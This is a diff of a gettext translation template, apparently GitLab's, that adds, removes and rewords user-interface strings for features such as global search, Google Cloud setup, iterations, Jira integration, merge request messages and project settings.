@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
